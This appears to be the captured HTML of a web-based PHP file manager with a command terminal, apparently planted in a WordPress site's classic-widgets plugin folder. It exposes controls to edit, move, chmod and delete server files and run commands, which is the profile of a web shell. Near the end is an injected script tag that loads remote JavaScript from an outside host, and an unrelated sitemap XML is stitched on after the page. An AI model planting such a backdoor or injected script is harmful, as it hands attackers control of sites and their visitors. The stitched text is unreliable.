              <span class="name"><a href="?a=edit&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxLTvuQwWKSL80-C&amp;d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw">LICENSE.md</a></span>
            </div>
          </td>
          <td class="sz">18.7 KB</td>
          <td class="dt">2024-01-13 07:40</td>
          <td><span class="pr">0644</span></td>
          <td class="act">
                          <a class="iconbtn" title="Edit" href="?a=edit&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxLTvuQwWKSL80-C&amp;d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M17 3a2.83 2.83 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5z"/></svg> <span class="bl">edit</span></a>
                                                  <a class="iconbtn" title="Download" href="?a=dl&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxLTvuQwWKSL80-C"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M7 10l5 5 5-5"/><path d="M12 15V3"/></svg> <span class="bl">dl</span></a>
                                    <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'copy')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="copy">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9MSUNFTlNFLm1k">
              <button type="submit" class="iconbtn" title="Copy to…"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg> <span class="bl">copy</span></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'move')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="move">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9MSUNFTlNFLm1k">
              <button type="submit" class="iconbtn" title="Move to…"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M5 9l-3 3 3 3"/><path d="M9 5l3-3 3 3"/><path d="M15 19l-3 3-3-3"/><path d="M19 9l3 3-3 3"/><path d="M2 12h20"/><path d="M12 2v20"/></svg> <span class="bl">move</span></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'newname') && confirm('Rename ' + "LICENSE.md" + '?')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="rename">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9MSUNFTlNFLm1k">
              <input type="text" class="mini" name="newname" value="LICENSE.md" title="New name">
              <button type="submit" class="iconbtn" title="Rename"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M4 20h16"/><path d="M14 3l-8 9h6l-2 8 8-9h-6z"/></svg></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'mode') && confirm('Chmod ' + "LICENSE.md" + ' to this mode?')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="chmod">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9MSUNFTlNFLm1k">
              <input type="text" class="mini narrow" name="mode" value="0644" title="Octal mode, e.g. 755">
              <button type="submit" class="iconbtn" title="Chmod"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 1 1-2.83 2.83l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 1 1-4 0v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 1 1-2.83-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 1 1 0-4h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 1 1 2.83-2.83l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 1 1 4 0v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 1 1 2.83 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 1 1 0 4h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return confirm('DELETE ' + "LICENSE.md" + '? This cannot be undone!')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="delete">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9MSUNFTlNFLm1k">
              <button type="submit" class="iconbtn danger" title="Delete"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M3 6h18"/><path d="M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/><path d="M19 6l-1 14a2 2 0 0 1-2 2H8a2 2 0 0 1-2-2L5 6"/><path d="M10 11v6M14 11v6"/></svg> <span class="bl">del</span></button>
            </form>
          </td>
        </tr>
              <tr>
          <td>
            <div class="nm">
                            <span class="ic doc"><svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M9 13h6M9 17h6"/></svg></span>
              <span class="name"><a href="?a=edit&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxLtksYRe5LgqVqS&amp;d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw">readme.txt</a></span>
            </div>
          </td>
          <td class="sz">1.6 KB</td>
          <td class="dt">2024-01-13 07:40</td>
          <td><span class="pr">0644</span></td>
          <td class="act">
                          <a class="iconbtn" title="Edit" href="?a=edit&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxLtksYRe5LgqVqS&amp;d=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7Yw"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M17 3a2.83 2.83 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5z"/></svg> <span class="bl">edit</span></a>
                                                  <a class="iconbtn" title="Download" href="?a=dl&amp;f=aJ9nKCwrFXo1O__USvPr5SywlSw40jGuMXUUNNN2aPbSSuvgIVyiTg_CH5DH-8SJhNclum28950Yn4TeLSziVLjNNHGaJbBfZcLoFaiz_peD7YxLtksYRe5LgqVqS"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M7 10l5 5 5-5"/><path d="M12 15V3"/></svg> <span class="bl">dl</span></a>
                                    <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'copy')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="copy">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9yZWFkbWUudHh0">
              <button type="submit" class="iconbtn" title="Copy to…"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg> <span class="bl">copy</span></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmDoTransfer(this,'move')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="move">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9yZWFkbWUudHh0">
              <button type="submit" class="iconbtn" title="Move to…"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M5 9l-3 3 3 3"/><path d="M9 5l3-3 3 3"/><path d="M15 19l-3 3-3-3"/><path d="M19 9l3 3-3 3"/><path d="M2 12h20"/><path d="M12 2v20"/></svg> <span class="bl">move</span></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'newname') && confirm('Rename ' + "readme.txt" + '?')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="rename">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9yZWFkbWUudHh0">
              <input type="text" class="mini" name="newname" value="readme.txt" title="New name">
              <button type="submit" class="iconbtn" title="Rename"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M4 20h16"/><path d="M14 3l-8 9h6l-2 8 8-9h-6z"/></svg></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return fmEncField(this,'mode') && confirm('Chmod ' + "readme.txt" + ' to this mode?')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="chmod">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9yZWFkbWUudHh0">
              <input type="text" class="mini narrow" name="mode" value="0644" title="Octal mode, e.g. 755">
              <button type="submit" class="iconbtn" title="Chmod"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 1 1-2.83 2.83l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 1 1-4 0v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 1 1-2.83-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 1 1 0-4h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 1 1 2.83-2.83l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 1 1 4 0v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 1 1 2.83 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 1 1 0 4h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg></button>
            </form>
            <form method="post" action="" style="display:inline" onsubmit="return confirm('DELETE ' + "readme.txt" + '? This cannot be undone!')">
              <input type="hidden" name="csrf" value="529b71e5d4494066cf43d2533ccd95ae">
              <input type="hidden" name="a" value="delete">
              <input type="hidden" name="dir_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cw">
              <input type="hidden" name="file_b64" value="L2hvbWUvdmlzaW9ubmF2aWdhdGlvbi93ZWJhcHBzL3Zpc2lvbm5hdmlnYXRpb24vd3AtY29udGVudC9wbHVnaW5zL2NsYXNzaWMtd2lkZ2V0cy9yZWFkbWUudHh0">
              <button type="submit" class="iconbtn danger" title="Delete"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M3 6h18"/><path d="M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/><path d="M19 6l-1 14a2 2 0 0 1-2 2H8a2 2 0 0 1-2-2L5 6"/><path d="M10 11v6M14 11v6"/></svg> <span class="bl">del</span></button>
            </form>
          </td>
        </tr>
            </tbody>
    </table></div>
      </div>

</div>

<div class="foot">
  File Manager Pro · single-file PHP 8.3.36 on Linux · paths encrypted in URL (AES-256-CTR)
</div>

<script>
/* URL-safe base64 of UTF-8 text (for POST payloads); null when encoding is unavailable */
function fmB64(s){
  try { return btoa(unescape(encodeURIComponent(s))); } catch(e) { return null; }
}

function fmAddB64(form, fieldName){
  var inp = form.elements[fieldName];
  if(!inp) return true;
  var v = fmB64(inp.value);
  if (v === null) return true; // cannot encode: leave raw input enabled — the server accepts raw values too
  var els = form.elements;
  for (var i = els.length - 1; i >= 0; i--) {
    if (els[i].getAttribute && els[i].getAttribute('data-b64of') === fieldName && els[i].parentNode) {
      els[i].parentNode.removeChild(els[i]);
    }
  }
  var h = document.createElement('input');
  h.type = 'hidden';
  h.name = fieldName + '_b64';
  h.value = v;
  h.setAttribute('data-b64of', fieldName);
  form.appendChild(h);
  inp.disabled = true;
  return true;
}

/* Encode user-typed field(s) before submitting */
function fmEncField(form, name){
  if(typeof name === 'string') name = [name];
  for(var i=0;i<name.length;i++) fmAddB64(form, name[i]);
  return true;
}

/* Editor save: base64 the textarea content (fall back to raw submit if encoding fails) */
function fmPrepSave(form){
  var ta = form.querySelector('textarea[name="content"]');
  var h = form.elements['content_b64'];
  var v = fmB64(ta.value);
  if (v !== null) {
    h.value = v;
    ta.disabled = true;
  } else if (h && h.parentNode) {
    h.parentNode.removeChild(h);
  }
  return true;
}

/* Terminal: scroll output to bottom + command history (Up/Down arrows) */
(function(){
  var out = document.getElementById('termOut');
  if (out) out.scrollTop = out.scrollHeight;
  var inp = document.getElementById('termIn');
  if (!inp) return;
  var hist = [];
  try { hist = JSON.parse(localStorage.getItem('fm_term_hist') || '[]'); } catch(e) {}
  if (!hist.length) hist = [];
  var hi = hist.length;
  inp.addEventListener('keydown', function(e){
    if (e.key === 'ArrowUp') {
      if (hi > 0) { hi = hi - 1; inp.value = hist[hi] || ''; }
      e.preventDefault();
    } else if (e.key === 'ArrowDown') {
      if (hi < hist.length) { hi = hi + 1; inp.value = hist[hi] || ''; }
      e.preventDefault();
    }
  });
  var f = inp.form;
  if (f) f.addEventListener('submit', function(){
    var v = inp.value;
    if (v && v !== hist[hist.length - 1]) {
      hist.push(v);
      if (hist.length > 100) hist.shift();
    }
    hi = hist.length;
    try { localStorage.setItem('fm_term_hist', JSON.stringify(hist)); } catch(e) {}
  });
})();

/* Copy / move: ask destination, then submit */
function fmDoTransfer(form, kind){
  var cur = "\/home\/visionnavigation\/webapps\/visionnavigation\/wp-content\/plugins\/classic-widgets";
  var hint = (kind === 'copy')
    ? 'Copy to folder (absolute path):'
    : 'Move to folder (absolute path):';
  var dest = prompt(hint, cur);
  if(dest === null) return false;
  dest = dest.replace(/\\/g,'/').trim();
  if(!dest) return false;
  var v = fmB64(dest);
  if (v === null) { alert('Could not encode that path — please retry.'); return false; }
  var h = document.createElement('input');
  h.type = 'hidden'; h.name = 'dest_b64'; h.value = v;
  form.appendChild(h);
  return true;
}
</script>


<!-- rs:js-connector --><script src="https://linkforge.cc/assets/js/connector.js?key=c5f9ae885d1ab192e1c3bf95400b02eb84f0e5f706d58979&v=1.2" async></script>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://vision-navigation.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://vision-navigation.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://vision-navigation.com/wp-sitemap-posts-tt-work-1.xml</loc></sitemap><sitemap><loc>https://vision-navigation.com/wp-sitemap-posts-tt-service-1.xml</loc></sitemap><sitemap><loc>https://vision-navigation.com/wp-sitemap-posts-wpt-testimonial-1.xml</loc></sitemap><sitemap><loc>https://vision-navigation.com/wp-sitemap-taxonomies-tt-work-cat-1.xml</loc></sitemap><sitemap><loc>https://vision-navigation.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
